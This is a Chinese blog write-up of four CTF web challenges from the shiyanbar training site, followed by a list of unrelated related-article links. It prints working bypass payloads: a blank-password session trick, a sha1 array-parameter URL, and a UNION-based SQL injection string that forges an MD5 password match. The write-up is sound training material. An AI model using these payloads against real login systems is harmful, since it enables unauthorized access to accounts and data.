【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题
guess next session源码:
<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
} mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>
要求password=session时,输出flag,所以设置session值为0,提交password为0时可以成功
bp抓包出了问题,

右键删除PHPSESSID,空白密码提交,就出来了:

FALSE:
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
name!=password,但sha1后name=password时,可以成功
补充:sha1漏洞
md5 和 sha1 无法处理数组,返回 NULL if (@sha1([]) == false)
echo 1;
if (@md5([]) == false)
echo 2;
echo var_dump(@sha1([]));
md5和sha1无法处理数组,所以可以设置为数组,得sha1值都为Null,于是构造:
http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2
注意,name!=password,取值要不同

NSCTF web200
打开图片就是把给出的字符串逆着解码 ,于是逆着原来的编码进行解码:
<?php
function decode($str)
{
$_=''; $a=base64_decode(strrev(str_rot13($str)));
for($i=0;$i<strlen($a);$i++)
{
$_c=substr($a,$i,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
return strrev($_);
}
print decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");//解码得flag ?>
得到flag:

程序逻辑问题:
看一下源码:
<html>
<head>
welcome to simplexue
</head>
<body>
<?php if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];//输入的用户名
$pass = md5($_POST[pass]);//输入密码的md5密文 $sql = "select pw from php where user='$user'";//从php表中检索用户登陆时输入的用户名的密码(pw列)
$query = mysql_query($sql);//执行sql变量的SQL语句
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);//声明row变量是把sql变量的SQL语句执行后返回的结果转换为数组
//echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";//如果row变量中pw的内容和用户登陆时输入的密码的MD5密码相同,则输出“Logged in!”并输出key
}
else {
echo("<p>Log in failure!</p>"); } } ?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
通过上述对代码的分析,因此,我们只需要让输入的密码的MD5密文和数据库检索出来的密码匹配就可以绕过验证,得到key
于是注入:
xxx' and 0=1 union select "C4CA4238A0B923820DCC509A6F75849B" # 密码输入1
输出flag:

【实验吧】guess next session&&FALSE&&NSCTF web200&&程序逻辑问题的更多相关文章
- 【Azure 应用服务】NodeJS Express + MSAL 实现API应用Token认证(AAD OAuth2 idToken)的认证实验 -- passport.authenticate('oauth-bearer', {session: false})
		问题描述 在前两篇博文中,对NodeJS Express应用 使用MSAL + AAD实现用户登录并获取用户信息,获取Authorization信息 ( ID Token, Access Token) ... 
- 实验十五  GUI编程练习与应用程序部署
		实验十五 GUI编程练习与应用程序部署 实验时间 2018-12-6 一:理论部分 1.Java 程序的打包:编译完成后,程序员将.class 文件压缩打包为 .jar 文件后,GUI 界面序就可以 ... 
- ???Struts2框架03 session的使用、登录逻辑【session工作原理】
		1 登录逻辑 1.1 获取登录数据(例如:用户名.密码) 1.2 在控制层调用业务层来验证数据信息 1.3 登录成功:保存用户信息(服务器用session.浏览器用cookie),跳转到主页面 1.4 ... 
- 理解session及微信小程序使用session
		session介绍 由于Http是无状态的协议,所以服务端需要记录用户的状态时,就需要某种机制来识别具体的用户,实现这个机制的方式就是session. 典型的场景比如购物车,当你点击下单按钮时,由于H ... 
- 实验吧——NSCTF web200
		题目地址:http://ctf5.shiyanbar.com/web/web200.jpg 打开就是个自定义加密函数,只要写出相应的解密算法就行 <?php function encode($s ... 
- 实验吧_Guess Next Session&Once More(代码审计)
		Guess Next Session 看题目提示,是一道代码审计: <?php session_start(); if (isset ($_GET['password'])) { if ($_G ... 
- NSCTF web200
		Topic Link http://ctf5.shiyanbar.com/web/web200.jpg 1) 分析代码可知a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQ ... 
- 实验吧-web-Guess Next Session(session简介)
		看代码: <?php session_start(); if (isset ($_GET['password'])) { if ($_GET['password'] == $_SESSION[' ... 
- 实验吧—Web——WP之 FALSE
		打开链接,点击源码按钮,我们开始分析源码: 在这源码中我们能看出 如果名字等于密码就输出:你的名字不能等于密码 如果名字的哈希值等于密码的哈希值,那么就会输出flag 这就意味着我们要上传两个值,值不 ... 
随机推荐
- UVa-11582:Colossal Fibonacci Numbers!(模算术)
			这是个开心的题目,因为既可以自己翻译,代码又好写ヾ(๑╹◡╹)ノ" The i’th Fibonacci number f(i) is recursively defined in the f ... 
- Guard Duty (medium) Codeforces - 958E2 || (bzoj 2151||洛谷P1792) 种树 || 编译优化
			https://codeforces.com/contest/958/problem/E2 首先求出N个时刻的N-1个间隔长度,问题就相当于在这些间隔中选K个数,相邻两个不能同时选,要求和最小 方法1 ... 
- C# winwordcontrol控件编程
			C# word控件WinWordControl可创建.编辑.保存word. 1.使用代码直接创建word文件,同时可以添加页眉.内容.图片及表格,示例代码: /// <summary> ... 
- BS3 多级菜单
			<div class="container"> <div class="row"> <h2>Multi level drop ... 
- Eclipse Mars.2集成Maven 3.5.4
			准备材料: Eclipse Mars.2 Release (4.5.2): 官网戳:https://www.eclipse.org/downloads/ Maven 3.5.4: http://ma ... 
- leetcode140 Word Break II
			思路: 直接爆搜会超时,需要使用记忆化搜索.使用map把已经计算过的情况记录下来,避免重复计算. 实现: class Solution { public: vector<string> w ... 
- JS基础1 — 代码要注意的一些问题
			1.在一对 <script></script> 标签中,有错的js代码,那么该错误代码后面的代码不会执行. 例子:<script> alert("He ... 
- MySQL常用函数使用示例
			#从指定字符中,随机生成12位字符select substring('0123456789abcdefghijklmnopqrstuvwxyz',floor(0+RAND()*36),12); #显示 ... 
- codevs 1008 选数
			时间限制: 1 s 空间限制: 128000 KB 题目等级 : 黄金 Gold 题目描述 Description 已知 n 个整数 x1,x2,…,xn,以及一个整数 k(k<n).从 n ... 
- 一个简单的例子教会您使用javap
			javap是JDK自带的工具: 这篇文章使用下面这段简单的Java代码作为例子进行讲解. class Outer { Nested nested; Nested getNested() { retur ... 
